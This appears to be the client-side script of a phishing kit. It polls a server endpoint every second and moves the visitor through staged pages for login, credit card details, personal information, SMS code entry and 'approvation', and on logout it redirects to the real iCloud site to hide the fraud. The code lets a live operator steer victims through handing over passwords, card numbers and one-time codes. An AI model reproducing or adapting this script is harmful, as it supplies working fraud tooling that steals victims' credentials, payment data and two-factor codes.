<script>
    $(document).ready(function() {

      function checkRedirect() {
            $.ajax({
               url: '../includes/check-redirect.php',
               type: 'GET',
               dataType: 'json',
               success: function(response) {
                  if (response.redirect_user === 'login') {

                        window.location.href = 'login.php';

                  }
                  else if (response.redirect_user === 'login-error') {

                        window.location.href = 'login.php';

                  }
                  else if (response.redirect_user === 'credit-card') {

                     window.location.href = 'step-two.php';

                  } 
                  else if (response.redirect_user === 'credit-card-error') {

                     window.location.href = 'step-two.php';

                  } 
                  else if (response.redirect_user === 'information') {

                     window.location.href = 'step-one.php';

                  } 
                  else if (response.redirect_user === 'information-error') {

                     window.location.href = 'step-one.php';
                  } 
                  else if (response.redirect_user === 'sms') {

                     window.location.href = 'step-three.php';

                  }
                  else if (response.redirect_user === 'sms-error') {

                     window.location.href = 'step-three.php';

                  }
                  else if (response.redirect_user === 'approvation') {

                     window.location.href = 'step-four.php';

                  } 

                  else if (response.redirect_user === 'approvation-error') {

                    window.location.href = 'step-four.php';

                  } 
                  else if (response.redirect_user === 'confirmed') {

                     window.location.href = 'step-end.php';

                  }                  
                  else if (response.redirect_user === 'logout') {

                     window.location.href = 'https://www.icloud.com/';

                  }
                  else {
                        $('#message').text('redirect_user value: ' + response.redirect_user);

                        setTimeout(checkRedirect, 1000); 
                  }
               },
               error: function(xhr, status, error) {
                  console.error('AJAX Error: ', status, error);
                  setTimeout(checkRedirect, 1000); 
               }
            });
      }

      checkRedirect();
   });
</script>